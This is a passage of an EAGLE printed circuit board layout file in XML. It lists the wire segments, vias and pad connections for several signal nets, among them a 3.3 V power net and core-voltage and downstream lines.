y2=\"5.83\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"46.6\" y1=\"5.83\" x2=\"49.14\" y2=\"5.83\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"U6\" pad=\"41\"/>\n<wire x1=\"58.4\" y1=\"45.4\" x2=\"58.4\" y2=\"44.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"59.4\" y1=\"46.4\" x2=\"58.4\" y2=\"45.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"59.4\" y1=\"46.6\" x2=\"59.4\" y2=\"46.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"59.1\" y1=\"46.3\" x2=\"59.4\" y2=\"46.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"59.1\" y1=\"43.5\" x2=\"59.1\" y2=\"46.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"58.8\" y1=\"43.2\" x2=\"59.1\" y2=\"43.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"58.8\" y1=\"37.9\" x2=\"58.8\" y2=\"43.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"60.7\" y1=\"36\" x2=\"58.8\" y2=\"37.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"60.7\" y1=\"35\" x2=\"60.7\" y2=\"36\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"58.4\" y1=\"44.6\" x2=\"58.3986\" y2=\"44.58\" width=\"0.2\" layer=\"1\"/>\n<via x=\"59.4\" y=\"46.6\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP14\" pad=\"22\"/>\n<wire x1=\"60.8\" y1=\"35\" x2=\"60.81\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"60.7\" y1=\"35\" x2=\"60.81\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"60.7\" y1=\"35\" x2=\"60.4\" y2=\"34.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"60.4\" y1=\"34.7\" x2=\"60.4\" y2=\"29.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"60.4\" y1=\"29.3\" x2=\"60.8\" y2=\"28.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"60.8\" y1=\"28.9\" x2=\"60.8\" y2=\"17.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"60.8\" y1=\"17.6\" x2=\"60\" y2=\"16.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"60\" y1=\"16.8\" x2=\"50.4\" y2=\"16.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"52.4\" y1=\"4.8\" x2=\"51.37\" y2=\"5.83\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"51.37\" y1=\"5.83\" x2=\"49.14\" y2=\"5.83\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"J3\" pad=\"1\"/>\n<wire x1=\"51.7\" y1=\"6.592\" x2=\"50.938\" y2=\"5.83\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"50.938\" y1=\"5.83\" x2=\"49.14\" y2=\"5.83\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"N$13\">\n<contactref element=\"U1\" pad=\"6\"/>\n<contactref element=\"JP4\" pad=\"6\"/>\n<wire x1=\"49.14\" y1=\"8.37\" x2=\"51.17\" y2=\"8.37\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"51.17\" y1=\"8.37\" x2=\"52.9\" y2=\"10.1\" width=\"0.2\" layer=\"1\"/>\n<via x=\"52.9\" y=\"10.1\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"52.9\" y1=\"10.1\" x2=\"56\" y2=\"10.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"56\" y1=\"10.1\" x2=\"62.9\" y2=\"17\" width=\"0.2\" layer=\"16\"/>\n<via x=\"62.9\" y=\"17\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"62.9\" y1=\"17\" x2=\"66.1\" y2=\"20.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"66.1\" y1=\"20.2\" x2=\"67.5778\" y2=\"20.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"67.5778\" y1=\"20.2\" x2=\"67.6378\" y2=\"20.26\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"J3\" pad=\"2\"/>\n<wire x1=\"51.7\" y1=\"7.608\" x2=\"51.7\" y2=\"7.84\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"51.7\" y1=\"7.84\" x2=\"51.17\" y2=\"8.37\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"N$18\">\n<contactref element=\"U1\" pad=\"9\"/>\n<contactref element=\"JP5\" pad=\"6\"/>\n<wire x1=\"72.5\" y1=\"20.1\" x2=\"72.4\" y2=\"20.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"73.7\" y1=\"20.1\" x2=\"72.5\" y2=\"20.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"74\" y1=\"19.8\" x2=\"73.7\" y2=\"20.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"78.8\" y1=\"15\" x2=\"74\" y2=\"19.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"78.8\" y1=\"8.5\" x2=\"78.8\" y2=\"15\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"72.4\" y1=\"20.2\" x2=\"72.3622\" y2=\"20.26\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"78.8\" y1=\"8.5\" x2=\"78.84\" y2=\"8.47\" width=\"0.2\" layer=\"16\"/>\n<via x=\"74\" y=\"19.8\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"J2\" pad=\"2\"/>\n<wire x1=\"78.84\" y1=\"8.47\" x2=\"80.938\" y2=\"8.47\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"80.938\" y1=\"8.47\" x2=\"81.5\" y2=\"7.908\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"N$21\">\n<contactref element=\"R12\" pad=\"2\"/>\n<contactref element=\"JP4\" pad=\"4\"/>\n<contactref element=\"R5\" pad=\"1\"/>\n<wire x1=\"49.2\" y1=\"13.05\" x2=\"46.3\" y2=\"13.05\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"46.3\" y1=\"13.05\" x2=\"47.8\" y2=\"13.05\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"47.8\" y1=\"13.05\" x2=\"47.8\" y2=\"9.57\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"47.8\" y1=\"9.57\" x2=\"46.6\" y2=\"8.37\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"N$25\">\n<contactref element=\"R11\" pad=\"2\"/>\n<contactref element=\"JP5\" pad=\"4\"/>\n<contactref element=\"R9\" pad=\"1\"/>\n<wire x1=\"79.3\" y1=\"13.1\" x2=\"77.5\" y2=\"13.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"77.5\" y1=\"13.1\" x2=\"76.3\" y2=\"13.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"76.3\" y1=\"13.1\" x2=\"76.3\" y2=\"13.05\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"79.3\" y1=\"13.1\" x2=\"79.3\" y2=\"13.05\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"76.3\" y1=\"11.9\" x2=\"77.5\" y2=\"13.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"76.3\" y1=\"8.47\" x2=\"76.3\" y2=\"11.9\" width=\"0.2\" layer=\"16\"/>\n<via x=\"77.5\" y=\"13.1\" extent=\"1-16\" drill=\"0.4\"/>\n</signal>\n<signal name=\"N$2\">\n<contactref element=\"R4\" pad=\"2\"/>\n<contactref element=\"JP4\" pad=\"2\"/>\n<wire x1=\"44.06\" y1=\"8.37\" x2=\"44.06\" y2=\"8.34\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"44.06\" y1=\"8.34\" x2=\"45.3\" y2=\"7.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"57.2\" y1=\"7.1\" x2=\"57.3\" y2=\"7.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"45.3\" y1=\"7.1\" x2=\"45.3\" y2=\"3.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"45.3\" y1=\"3.8\" x2=\"46.1\" y2=\"3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"46.1\" y1=\"3\" x2=\"54.6\" y2=\"3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"54.6\" y1=\"3\" x2=\"55.3\" y2=\"3.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"55.3\" y1=\"3.7\" x2=\"55.3\" y2=\"6.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"55.3\" y1=\"6.3\" x2=\"56.2\" y2=\"7.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"56.2\" y1=\"7.2\" x2=\"57.3\" y2=\"7.2\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"N$16\">\n<contactref element=\"R3\" pad=\"2\"/>\n<contactref element=\"JP5\" pad=\"2\"/>\n<wire x1=\"66.5\" y1=\"9.4\" x2=\"64.3\" y2=\"7.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"72.3\" y1=\"9.4\" x2=\"66.5\" y2=\"9.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"73.2\" y1=\"8.5\" x2=\"72.3\" y2=\"9.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"73.7\" y1=\"8.5\" x2=\"73.2\" y2=\"8.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"73.7\" y1=\"8.5\" x2=\"73.76\" y2=\"8.47\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"DOWNS_ORIN1\">\n<contactref element=\"JP10\" pad=\"1\"/>\n<contactref element=\"U3\" pad=\"2\"/>\n<contactref element=\"U2\" pad=\"4\"/>\n<wire x1=\"99.1\" y1=\"23.4\" x2=\"98.5\" y2=\"22.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"100.9\" y1=\"25.7\" x2=\"99.1\" y2=\"23.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"98.2\" y1=\"22.8\" x2=\"98.15\" y2=\"22.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"87.8\" y1=\"21.4\" x2=\"87.1\" y2=\"22.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"87.8\" y1=\"21.3\" x2=\"87.8\" y2=\"21.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"87.1\" y1=\"22.1\" x2=\"87.0414\" y2=\"22.1396\" width=\"0.2\" layer=\"1\"/>\n<via x=\"87.8\" y=\"21.3\" extent=\"1-16\" drill=\"0.4\"/>\n<wire x1=\"87.8\" y1=\"21.3\" x2=\"88.1\" y2=\"21.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"88.1\" y1=\"21.3\" x2=\"88.2\" y2=\"21.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"88.2\" y1=\"21.4\" x2=\"90\" y2=\"21.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"90\" y1=\"21.4\" x2=\"95.9\" y2=\"29.1\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"TP9\" pad=\"TP\"/>\n<wire x1=\"98.5\" y1=\"22.8\" x2=\"98.15\" y2=\"22.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"99.1\" y1=\"23.4\" x2=\"99.1\" y2=\"23.9\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"R44\" pad=\"1\"/>\n<wire x1=\"93.5\" y1=\"28.25\" x2=\"95.05\" y2=\"28.25\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"95.05\" y1=\"28.25\" x2=\"95.9\" y2=\"29.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"95.9\" y1=\"29.1\" x2=\"95.9\" y2=\"30.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"95.9\" y1=\"30.9\" x2=\"96.1\" y2=\"31.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"100.9\" y1=\"25.7\" x2=\"100.9\" y2=\"27.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"100.9\" y1=\"27.2\" x2=\"99\" y2=\"29.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"99\" y1=\"29.1\" x2=\"95.9\" y2=\"29.1\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"VCAP/VDDCORE\">\n<contactref element=\"C16\" pad=\"1\"/>\n<contactref element=\"C15\" pad=\"1\"/>\n<contactref element=\"U6\" pad=\"85\"/>\n<wire x1=\"61.8\" y1=\"64.4\" x2=\"61.75\" y2=\"64.45\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"61.75\" y1=\"64.45\" x2=\"60.6\" y2=\"65.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"63.7\" y1=\"64.4\" x2=\"61.8\" y2=\"64.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"60.6\" y1=\"65.6\" x2=\"60.6\" y2=\"65.65\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"59\" y1=\"61.1\" x2=\"58.6\" y2=\"61.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"61.7\" y1=\"63.8\" x2=\"59\" y2=\"61.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"61.7\" y1=\"64.4\" x2=\"61.7\" y2=\"63.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"58.4\" y1=\"59.9\" x2=\"58.3986\" y2=\"59.82\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"61.7\" y1=\"64.4\" x2=\"61.75\" y2=\"64.45\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"64.25\" y1=\"66.5\" x2=\"64.25\" y2=\"64.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"64.25\" y1=\"64.95\" x2=\"63.7\" y2=\"64.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"58.4\" y1=\"59.9\" x2=\"58.4\" y2=\"60.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"58.4\" y1=\"60.9\" x2=\"58.6\" y2=\"61.1\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"3V3\">\n<contactref element=\"U6\" pad=\"62\"/>\n<contactref element=\"U6\" pad=\"37\"/>\n<contactref element=\"U6\" pad=\"86\"/>\n<contactref element=\"U6\" pad=\"46\"/>\n<contactref element=\"U6\" pad=\"16\"/>\n<contactref element=\"U6\" pad=\"2\"/>\n<contactref element=\"U6\" pad=\"30\"/>\n<contactref element=\"R29\" pad=\"1\"/>\n<contactref element=\"R31\" pad=\"1\"/>\n<contactref element=\"R30\" pad=\"1\"/>\n<contactref element=\"C19\" pad=\"1\"/>\n<contactref element=\"C20\" pad=\"1\"/>\n<contactref element=\"C21\" pad=\"1\"/>\n<contactref element=\"C22\" pad=\"1\"/>\n<contactref element=\"C23\" pad=\"1\"/>\n<contactref element=\"C24\" pad=\"1\"/>\n<contactref element=\"C18\" pad=\"1\"/>\n<contactref element=\"R22\" pad=\"2\"/>\n<contactref element=\"JP16\" pad=\"2\"/>\n<contactref element=\"R19\" pad=\"2\"/>\n<contactref element=\"U8\" pad=\"P$2@2\"/>\n<contactref element=\"R21\" pad=\"2\"/>\n<contactref element=\"R24\" pad=\"2\"/>\n<contactref element=\"R25\" pad=\"2\"/>\n<contactref element=\"R27\" pad=\"2\"/>\n<contactref element=\"R28\" pad=\"2\"/>\n<wire x1=\"97.2\" y1=\"65.5\" x2=\"97.15\" y2=\"65.55\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"94.2\" y1=\"7.7\" x2=\"94.25\" y2=\"7.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"99.3\" y1=\"12.7\" x2=\"99.3\" y2=\"12.75\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"100.9\" y1=\"40.1\" x2=\"100.5\" y2=\"40.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"100.9\" y1=\"40.1\" x2=\"100.901\" y2=\"41\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"101.4\" y1=\"40.6\" x2=\"101.4\" y2=\"35\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"100.6\" y1=\"40.6\" x2=\"101.4\" y2=\"40.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"100.6\" y1=\"40.6\" x2=\"100.901\" y2=\"41\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"102.6\" y1=\"33.4\" x2=\"102.6\" y2=\"16.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"101.4\" y1=\"34.6\" x2=\"102.6\" y2=\"33.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"99.3\" y1=\"12.8\" x2=\"99.3\" y2=\"12.75\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"29.95\" y1=\"29.5\" x2=\"29.7\" y2=\"29.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"4.4\" y1=\"36.4\" x2=\"3.2\" y2=\"35.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"1.7\" y1=\"61.1\" x2=\"1.8\" y2=\"61\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"3.2\" y1=\"35.2\" x2=\"3.2\" y2=\"27.75\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"1.7\" y1=\"61.1\" x2=\"1.61\" y2=\"61.17\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"26.3\" y1=\"47.2\" x2=\"25.3\" y2=\"48.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"27.4\" y1=\"47.2\" x2=\"26.3\" y2=\"47.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"27.7\" y1=\"46.9\" x2=\"27.4\" y2=\"47.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"36.6\" y1=\"46.9\" x2=\"29\" y2=\"46.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"29\" y1=\"46.9\" x2=\"27.7\" y2=\"46.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"25.3\" y1=\"48.2\" x2=\"25.25\" y2=\"48.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"40.55\" y1=\"50.75\" x2=\"41\" y2=\"51.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"41\" y1=\"51.2\" x2=\"41.05\" y2=\"51.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"51.8\" y1=\"38.4\" x2=\"50.5\" y2=\"39.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"53.9\" y1=\"38.4\" x2=\"51.8\" y2=\"38.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"54.7\" y1=\"39.2\" x2=\"53.9\" y2=\"38.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"54.7\" y1=\"39.7\" x2=\"54.7\" y2=\"39.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"50.5\" y1=\"39.7\" x2=\"50.45\" y2=\"39.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"56.4\" y1=\"39.8\" x2=\"56.4\" y2=\"44.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"56.4\" y1=\"44.5\" x2=\"56.392\" y2=\"44.58\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"54.7\" y1=\"39.7\" x2=\"54.65\" y2=\"39.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"60.9\" y1=\"43.1\" x2=\"60.9\" y2=\"44.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"56.4\" y1=\"39.8\" x2=\"59.6\" y2=\"39.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"60.9\" y1=\"44.5\" x2=\"60.8878\" y2=\"44.58\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"57.3\" y1=\"64.3\" x2=\"57.3\" y2=\"65.55\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"57.1\" y1=\"64.3\" x2=\"57.3\" y2=\"64.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"57.1\" y1=\"58.4\" x2=\"57.1\" y2=\"64.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"57.9\" y1=\"59.8\" x2=\"57.9\" y2=\"58.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"57.9\" y1=\"59.8\" x2=\"57.8906\" y2=\"59.82\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"72.2\" y1=\"51.8\" x2=\"72.2\" y2=\"47.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"72.2\" y1=\"53.2\" x2=\"72.2\" y2=\"52.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"72.2\" y1=\"53.2\" x2=\"72.15\" y2=\"53.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"46.1\" y1=\"57.9\" x2=\"45.8\" y2=\"58.1\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"47.6\" y1=\"57.9\" x2=\"46.1\" y2=\"57.9\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"45.8\" y1=\"58.1\" x2=\"45.75\" y2=\"58.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"49.2\" y1=\"57.7\" x2=\"49.28\" y2=\"57.7118\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"49.3\" y1=\"50.7\" x2=\"49.28\" y2=\"50.7014\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"52.9\" y1=\"44.6\" x2=\"52.9122\" y2=\"44.58\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"63.7\" y1=\"51.7\" x2=\"64.5\" y2=\"51.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"62.2\" y1=\"50.8\" x2=\"62.5\" y2=\"51.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"62.5\" y1=\"51.1\" x2=\"63.1\" y2=\"51.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"63.1\" y1=\"51.1\" x2=\"63.7\" y2=\"51.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"56.9\" y1=\"50.8\" x2=\"60.7\" y2=\"50.8\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"60.7\" y1=\"50.8\" x2=\"62.2\" y2=\"50.8\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"54.9\" y1=\"48.8\" x2=\"56.9\" y2=\"50.8\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"64.5\" y1=\"51.7\" x2=\"64.52\" y2=\"51.692\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"52.7\" y1=\"48.8\" x2=\"52.65\" y2=\"48.75\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"47.7\" y1=\"57.9\" x2=\"47.6\" y2=\"57.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"49.7\" y1=\"55.9\" x2=\"47.7\" y2=\"57.9\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"49.7\" y1=\"53.1\" x2=\"49.7\" y2=\"55.9\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"72.2\" y1=\"52.3\" x2=\"72.2\" y2=\"51.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"70.4\" y1=\"52.3\" x2=\"72.2\" y2=\"52.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"64.6\" y1=\"51.7\" x2=\"67.4\" y2=\"51.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"64.6\" y1=\"51.7\" x2=\"64.52\" y2=\"51.692\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"55.65\" y1=\"56.95\" x2=\"57.1\" y2=\"58.4\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"60.3\" y1=\"43.7\" x2=\"60.8\" y2=\"43.1\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"60.3\" y1=\"48.4\" x2=\"60.3\" y2=\"43.7\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"60.8\" y1=\"43.1\" x2=\"60.9\" y2=\"43.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"41.5\" y1=\"49.8\" x2=\"40.55\" y2=\"50.75\" width=\"0.3\" layer=\"1\"/>\n<wire x1=\"47.2\" y1=\"49.8\" x2=\"41.5\" y2=\"49.8\" width=\"0.3\" layer=\"1\"/>\n<wire x1=\"48.1\" y1=\"50.7\" x2=\"47.2\" y2=\"49.8\" width=\"0.3\" layer=\"1\"/>\n<wire x1=\"49.2\" y1=\"50.7\" x2=\"48.1\" y2=\"50.7\" width=\"0.3\" layer=\"1\"/>\n<wire x1=\"49.2\" y1=\"50.7\" x2=\"49.28\" y2=\"50.7014\" width=\"0.3\" layer=\"1\"/>\n<wire x1=\"25.25\" y1=\"48.2\" x2=\"11.9\" y2=\"48.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"29\" y1=\"47.2\" x2=\"29.1\" y2=\"30.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"29\" y1=\"46.9\" x2=\"29\" y2=\"47.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"73.25\" y1=\"45.5\" x2=\"99.45\" y2=\"45.5\" width=\"0.2\" layer=\"1\"/>\n<via x=\"102.6\" y=\"16.1\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"98.6\" y=\"61.4\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"31.9\" y=\"29.5\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"4.4\" y=\"36.4\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"60.9\" y=\"43.1\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"59.6\" y=\"39.8\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"57.1\" y=\"64.3\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"57.1\" y=\"58.4\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"72.2\" y=\"47.8\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"72.2\" y=\"51.8\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"47.7\" y=\"57.9\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"51.4\" y=\"51.9\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"70.4\" y=\"52.3\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"67.4\" y=\"51.7\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"11.9\" y=\"48.2\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"29\" y=\"47.2\" extent=\"1-16\" drill=\"0.4\"/>\n<wire x1=\"69.2\" y1=\"52.3\" x2=\"70.4\" y2=\"52.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"69.2\" y1=\"52.3\" x2=\"68.6\" y2=\"51.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"68.6\" y1=\"51.7\" x2=\"67.4\" y2=\"51.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"59.6\" y1=\"39.8\" x2=\"59.6\" y2=\"38.3\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"94.85\" y1=\"40.25\" x2=\"100.151\" y2=\"40.25\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"100.151\" y1=\"40.25\" x2=\"100.901\" y2=\"41\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"62.03\" y1=\"36.4\" x2=\"62.03\" y2=\"30.87\" width=\"0.25\" layer=\"16\"/>\n<wire x1=\"62.03\" y1=\"30.87\" x2=\"62.8\" y2=\"30.1\" width=\"0.25\" layer=\"16\"/>\n<via x=\"62.8\" y=\"30.1\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"62.8\" y1=\"30.1\" x2=\"78.9\" y2=\"30.1\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"78.9\" y1=\"30.1\" x2=\"82.2\" y2=\"26.8\" width=\"0.4\" layer=\"1\"/>\n<via x=\"82.2\" y=\"26.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"82.2\" y1=\"26.8\" x2=\"89.1\" y2=\"26.8\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"89.1\" y1=\"26.8\" x2=\"94.5\" y2=\"32.2\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"52.7\" y1=\"48.8\" x2=\"54.9\" y2=\"48.8\" width=\"0.4\" layer=\"1\"/>\n<contactref element=\"U6\" pad=\"55\"/>\n<wire x1=\"64.52\" y1=\"48.2122\" x2=\"62.2878\" y2=\"48.2122\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"62.2878\" y1=\"48.2122\" x2=\"60.7\" y2=\"49.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"60.7\" y1=\"49.8\" x2=\"60.7\" y2=\"50.8\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"JP14\" pad=\"38\"/>\n<contactref element=\"JP15\" pad=\"38\"/>\n<wire x1=\"101.4\" y1=\"35\" x2=\"101.45\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"51.7\" y1=\"52.2\" 